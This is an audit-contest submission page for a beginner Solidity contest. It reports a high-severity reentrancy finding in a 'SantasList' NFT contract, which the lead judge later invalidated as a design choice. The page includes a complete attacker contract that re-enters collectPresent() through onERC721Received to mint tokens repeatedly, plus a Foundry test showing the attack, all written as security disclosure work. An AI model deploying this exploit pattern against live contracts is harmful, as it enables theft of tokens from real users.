Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy via buyPresent() allows you to continuously create new tokens

Summary

It's possible to mint any amount of tokens using buyPresent function when the caller is NICE or EXTRA_NICE and has at least 1e18 Santa tokens on the balance.

Vulnerability Details

If the caller is a contract, the issue occurs because it's possible to call collectTokens() which is vulnerable to reentrancy.

Here is possible attacker's contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import "@openzeppelin/contracts/access/Ownable.sol";
import "forge-std/console.sol";
interface ISantasList {
function collectPresent() external;
function buyPresent(address presentReceiver) external;
function balanceOf(address owner) external returns (uint256);
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract BuyPresentAttack is Ownable {
ISantasList santasList;
uint256 counter = 0;
uint256 public constant WISHED_AMOUNT_OF_TOKENS = 500;
constructor(address _santasListAddress) Ownable(msg.sender) {
santasList = ISantasList(_santasListAddress);
}
function attack(address otherAddress) public onlyOwner {
// Call the vulnarable function.
santasList.buyPresent(otherAddress);
}
// When msg.sender is a contract,
// _safeMint from SantasList will trigger onERC721Received()
function onERC721Received(address from, address, /*to*/ uint256 tokenId, bytes memory /* data */ )
public
returns (bytes4)
{
if (counter < WISHED_AMOUNT_OF_TOKENS) {
// transfer tokens to attacker
// in order to bypass balance check in collectPresent()
santasList.transferFrom(from, owner(), tokenId);
counter++;
santasList.collectPresent();
}
counter = 0;
// Return onERC721Received.selector
// in order not to revert in _safeMint() -> __checkOnERC721Received()
return 0x150b7a02;
}
}

Attack test:

function testBuyPresentAttack() public {
// We have a user who is NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
// Mint tokens for the user and verify their amount
vm.prank(address(santasList));
santaToken.mint(user);
assertEq(santaToken.balanceOf(user), 1e18);
// Setting the time after Christmas
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// Verify that the attacker had no tokens initially
assertEq(santasList.balanceOf(attacker), 0);
vm.prank(attacker);
buyPresentAttack.attack(address(user));
// Verify that the user has no tokens now
assertEq(santaToken.balanceOf(user), 0);
// Verify that the attacker owns tokens now
assertEq(santasList.balanceOf(attacker), buyPresentAttack.WISHED_AMOUNT_OF_TOKENS());
}

Impact

High. The logic of the token distribution is broken by the vulnerability.

Tools Used

Manual check.

Recommendations

Consider adding reentrancy guard to collectPresent().

Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.